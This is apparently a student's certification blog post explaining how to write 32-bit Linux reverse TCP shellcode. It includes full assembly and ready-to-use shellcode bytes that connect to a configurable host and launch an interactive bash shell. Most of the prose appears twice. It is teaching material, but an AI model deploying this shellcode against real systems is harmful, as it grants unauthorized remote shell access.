Welcome to part two (2) in our seven (7) part series for the SecurityTube Linux Assembly Expert 32-bit certification challenge. This blog represents the second assignment out of seven (7) and the requirements for assignment two (2) are as follows:
Part one (1) can be found here: https://infoseccafe.blogspot.com/2016/10/slae32-assignment-1.html
The code for this assignment can be found on GitHub at the following location: https://github.com/blu3gl0w13/SLAE32/tree/master/assignment-2
Supplemental scripts that I developed for this class can be found on GitHub at the following location: https://github.com/blu3gl0w13/SLAE32/tree/master/scripts
Compared to assignment one (1), this code was actually a lot shorter, and if we think about this a little bit, it makes a lot of sense. Instead of using four (4) different SOCKET system calls (SOCKET, BIND, LISTEN, and ACCEPT), we just need two (2). For this assignment we'll use SOCKET, and CONNECT, along with DUP2 and EXECVE. This will make the code much shorter.
We'll start our program by similar to our Bind Shell program in assignment one (1) by declaring a global label _start, defining our .text section, and using the _start: label as our entry point for our first several lines of instructions. Similar to assignment one (1), we'll use the SOCKETCALL system call to call the SOCKET system call. Just like before, we'll use TCP, AF_INET, and SOCK_STREAM for our parameters to SOCKET. Once we setup our registers, we invoke the interrupt signal int 0x80 and create our socket. We'll also save the SOCKETFD return value in EDI.
Since I'm a big fan of the JMP-CALL-POP technique, we'll use it again in this script as well. By doing so, we'll not only have the benefit of dynamically getting the address of our IP and PORT, but we'll have the added bonus of having the last six (6) bytes of our shellcode represent the IP Address (4 bytes) and Port (last 2 bytes) respectively, fulfilling the second primary requirement for this assignment.
Before we get too far ahead of ourselves though, let's take a look at the CONNECT man page. We'll need to have a plan in order to set up our registers properly.

Once we understand the CONNECT system call, we need to reference /usr/include/linux/net.h in order to see which call number is associated with CONNECT for the SOCKETCALL system call.

We will start the next set of instructions by issuing a POP ESI instruction. ESI will now hold the address of our IP address and Port. Following this, we'll zero out our EAX, and ECX registers. Our IP gets pushed onto the stack with the PUSH DWORD [ESI] instruction which pushes four (4) bytes from the address located within ESI onto the stack. Since we specify DWORD, only the first four (4) bytes will get pushed onto the stack. The next PUSH instruction specifies a WORD which is two (2) bytes at the location four (4) bytes past the address in ESI. This will be our Port. The process of setting up our CONNECT system call continues by finishing setting up the stack so we can create our struct. The way I define a struct here is a pointer to an array of pointers. We just finished setting up the array, and now we'll have to point to it MOV EAX, ESP and then make sure that pointer is on the stack following setting up the stack with our third parameter to CONNECT. This is done by issuing the following instruction PUSH BYTE 0x10 (addrlen), and then the struct with PUSH EAX. Remember, EAX contains the address to our array on the stack. Next, we push the return value from our SOCKET system call onto the stack as the first parameter to CONNECT. We then finish setting up our registers for SOCKETCALL, and CONNECT and finally our pointer to our parameters we copy into ECX with the MOV ECX, ESP instruction. At last we send the interrupt signal to issue our CONNECT system call.
In assignment one (1), we redirected the ACCEPT system call to standard in, out, and error. For this assignment however we'll need to use the SOCKETFD in DUP2 for the int oldfd. Another way to accomplish this is just to loop through this section after setting ECX to 0x3. As a matter of fact, this would be a more efficient way to accomplish the same task.
Similar to assignment one (1) we'll use /bin/bash -i again. We'll have to remember to initialize EAX, push its value onto the stack, and then setup the stack for our argument array. We cannot forget to terminate each argument with a null byte to terminate each argument. In this case we just have the -i argument passed to /bin/bash.
Here's the shellcode. Don't forget that the IP Address and Port needed to be configurable. The last six (6) bytes are the hexadecimal representation of the IP (first four (4) bytes) and port (last two (2) bytes). Since they are input into memory already in little endian format, you'll only need to put them in your final shellcode in correct order. Feel free to use my iptohex.py script to easily convert an IPV4 Address and port into hexadecimal. The script can be found on GitHub here: https://github.com/blu3gl0w13/SLAE32/blob/master/scripts/iptohex.py
Finally, we run the shellcode and see that it is in fact a bit shorter than our Bind Shell from assignment one (1).

Hopefully we can see that writing a Reverse Shell program takes less assembly than a Bind Shell simply because we make less system calls. Thanks for reading as always, please leave a comment or questions that come up and I hope you learned something about shellcoding, and assembly on Linux.
Next: Part 3 - Assignment 3
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-744
- Create a Shell_Reverse_TCP shellcode
- Reverse connects to a configured IP and PORT
- Execs shell upon connection
- The IP and PORT should be easily configurable
Part one (1) can be found here: https://infoseccafe.blogspot.com/2016/10/slae32-assignment-1.html
The code for this assignment can be found on GitHub at the following location: https://github.com/blu3gl0w13/SLAE32/tree/master/assignment-2
Supplemental scripts that I developed for this class can be found on GitHub at the following location: https://github.com/blu3gl0w13/SLAE32/tree/master/scripts
Compared to assignment one (1), this code was actually a lot shorter, and if we think about this a little bit, it makes a lot of sense. Instead of using four (4) different SOCKET system calls (SOCKET, BIND, LISTEN, and ACCEPT), we just need two (2). For this assignment we'll use SOCKET, and CONNECT, along with DUP2 and EXECVE. This will make the code much shorter.
We'll start our program by similar to our Bind Shell program in assignment one (1) by declaring a global label _start, defining our .text section, and using the _start: label as our entry point for our first several lines of instructions. Similar to assignment one (1), we'll use the SOCKETCALL system call to call the SOCKET system call. Just like before, we'll use TCP, AF_INET, and SOCK_STREAM for our parameters to SOCKET. Once we setup our registers, we invoke the interrupt signal int 0x80 and create our socket. We'll also save the SOCKETFD return value in EDI.
global _start
section .text
_start:
; now we invoke __NR_SOCKETCALL syscall
; just like we did in our bind shell
xor eax, eax ; zero out eax
xor ebx, ebx ; zero out ebx
push byte 0x6 ; push parameter 3 TCP Protocol
push byte 0x1 ; push parameter 2 SOCK_STREAM
push byte 0x2 ; push parameter 1
mov al, 0x66 ; socketcall syscall
mov bl, 0x1 ; int socket(int domain, int type, int protocol)
mov ecx, esp ; parameters
int 0x80 ; call it
mov edi, eax ; save that sockfd
Since I'm a big fan of the JMP-CALL-POP technique, we'll use it again in this script as well. By doing so, we'll not only have the benefit of dynamically getting the address of our IP and PORT, but we'll have the added bonus of having the last six (6) bytes of our shellcode represent the IP Address (4 bytes) and Port (last 2 bytes) respectively, fulfilling the second primary requirement for this assignment.
jumper:
; JMP/CALL/POP for IP and PORT address
jmp short ip_port
...SNIP...
ip_port:
call connector
ip_address: dd 0x101017f ; 127.1.1.1
port: dw 0x5c11 ; 4444 see iptohex.py
Before we get too far ahead of ourselves though, let's take a look at the CONNECT man page. We'll need to have a plan in order to set up our registers properly.

Once we understand the CONNECT system call, we need to reference /usr/include/linux/net.h in order to see which call number is associated with CONNECT for the SOCKETCALL system call.

We will start the next set of instructions by issuing a POP ESI instruction. ESI will now hold the address of our IP address and Port. Following this, we'll zero out our EAX, and ECX registers. Our IP gets pushed onto the stack with the PUSH DWORD [ESI] instruction which pushes four (4) bytes from the address located within ESI onto the stack. Since we specify DWORD, only the first four (4) bytes will get pushed onto the stack. The next PUSH instruction specifies a WORD which is two (2) bytes at the location four (4) bytes past the address in ESI. This will be our Port. The process of setting up our CONNECT system call continues by finishing setting up the stack so we can create our struct. The way I define a struct here is a pointer to an array of pointers. We just finished setting up the array, and now we'll have to point to it MOV EAX, ESP and then make sure that pointer is on the stack following setting up the stack with our third parameter to CONNECT. This is done by issuing the following instruction PUSH BYTE 0x10 (addrlen), and then the struct with PUSH EAX. Remember, EAX contains the address to our array on the stack. Next, we push the return value from our SOCKET system call onto the stack as the first parameter to CONNECT. We then finish setting up our registers for SOCKETCALL, and CONNECT and finally our pointer to our parameters we copy into ECX with the MOV ECX, ESP instruction. At last we send the interrupt signal to issue our CONNECT system call.
connector:
; Now we set up the connection with our IP/PORT
; we'll have to put together the struct again
; similar to our bind shell
;
; int connect(int sockfd, const struct sockaddr *addr,
; socklen_t addrlen)
pop esi ; store IP and PORT in esi
xor eax, eax ; clean out eax, remember edi has has sockfd
xor ecx, ecx
push dword [esi] ; IP onto stack
push word [esi +4] ; PORT onto stack
mov al, 0x2 ; AF_INET IPv4
push ax ; struct is set up
mov eax, esp ; store the pointer to a register temporarily
push byte 0x10 ; parameter 3 16 bytes in length
push eax ; parameter 2, pointer to struct
push edi ; parameter 1, sockfd
xor eax, eax ; clean out eax again
mov al, 0x66 ; __NR_SOCKETCALL
xor ebx, ebx ; clean out ebx
mov bl, 0x3 ; connect()
mov ecx, esp ; pointer to parameters
int 0x80 ; call it, will return 0 on success
In assignment one (1), we redirected the ACCEPT system call to standard in, out, and error. For this assignment however we'll need to use the SOCKETFD in DUP2 for the int oldfd. Another way to accomplish this is just to loop through this section after setting ECX to 0x3. As a matter of fact, this would be a more efficient way to accomplish the same task.
redirect_fd:
; once again, we'll use dup2()
;
; int dup2(int oldfd, int newfd)
;
xor ebx, ebx ; clean ebx
xor ecx, ecx ; clean ecx
mov ebx, edi ; sockfd
mov al, 0x3f ; define __NR_dup2 63 (0x3f)
int 0x80 ; call it
inc ecx ; 1 for std out
mov al, 0x3f ; define __NR_dup2 63 (0x3f)
int 0x80 ; call it
inc ecx ; 2 for std error
mov al, 0x3f ; define __NR_dup2 63 (0x3f)
int 0x80 ; call it
Similar to assignment one (1) we'll use /bin/bash -i again. We'll have to remember to initialize EAX, push its value onto the stack, and then setup the stack for our argument array. We cannot forget to terminate each argument with a null byte to terminate each argument. In this case we just have the -i argument passed to /bin/bash.
shelltime:
; now it's time to launch our shell
; program using execve. I prefer
; /bin/bash we'll use /bin////bash
; execve is 0xb (11)
; int execve(const char *filename, char *const argv[],
; char *const envp[])
xor eax, eax ; clean out eax
push eax ; need a null byte for execve parameters
push 0x68736162 ; hsab
push 0x2f2f2f2f ; ////
push 0x6e69622f ; nib/
mov ebx, esp ; save stack pointer in ebx
push eax ; Null onto stack
push word 0x692d ; "-i" parameter to /bin/bash
mov esi, esp ; save the argument pointer
push eax ; null byte terminator
push esi ; pointer to "-i" parameter to /bin/bash
push ebx ; points to 0x00hsab////nib/
mov ecx, esp ; store pointer to 0x00hsab////nib/ into ecx
xor edx, edx ; NULL as last parameter
mov al, 0xb ; execve
int 0x80 ; call it
Here's the shellcode. Don't forget that the IP Address and Port needed to be configurable. The last six (6) bytes are the hexadecimal representation of the IP (first four (4) bytes) and port (last two (2) bytes). Since they are input into memory already in little endian format, you'll only need to put them in your final shellcode in correct order. Feel free to use my iptohex.py script to easily convert an IPV4 Address and port into hexadecimal. The script can be found on GitHub here: https://github.com/blu3gl0w13/SLAE32/blob/master/scripts/iptohex.py
"\x31\xc0\x31\xdb\x6a\x06\x6a\x01\x6a\x02\xb0\x66\xb3\x01\x89"
"\xe1\xcd\x80\x89\xc7\xeb\x5b\x5e\x31\xc0\x31\xc9\xff\x36\x66"
"\xff\x76\x04\xb0\x02\x66\x50\x89\xe0\x6a\x10\x50\x57\x31\xc0"
"\xb0\x66\x31\xdb\xb3\x03\x89\xe1\xcd\x80\x31\xdb\x31\xc9\x89"
"\xfb\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80"
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x66\x68\x2d\x69\x89\xe6\x50\x56\x53"
"\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xa0\xff\xff\xff"
"\x7f\x01\x01\x01\x11\x5c"
Finally, we run the shellcode and see that it is in fact a bit shorter than our Bind Shell from assignment one (1).

Hopefully we can see that writing a Reverse Shell program takes less assembly than a Bind Shell simply because we make less system calls. Thanks for reading as always, please leave a comment or questions that come up and I hope you learned something about shellcoding, and assembly on Linux.
Next: Part 3 - Assignment 3
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-744
Comments
Post a Comment
Please leave a comment. Keep it on topic and appropriate for all audiences.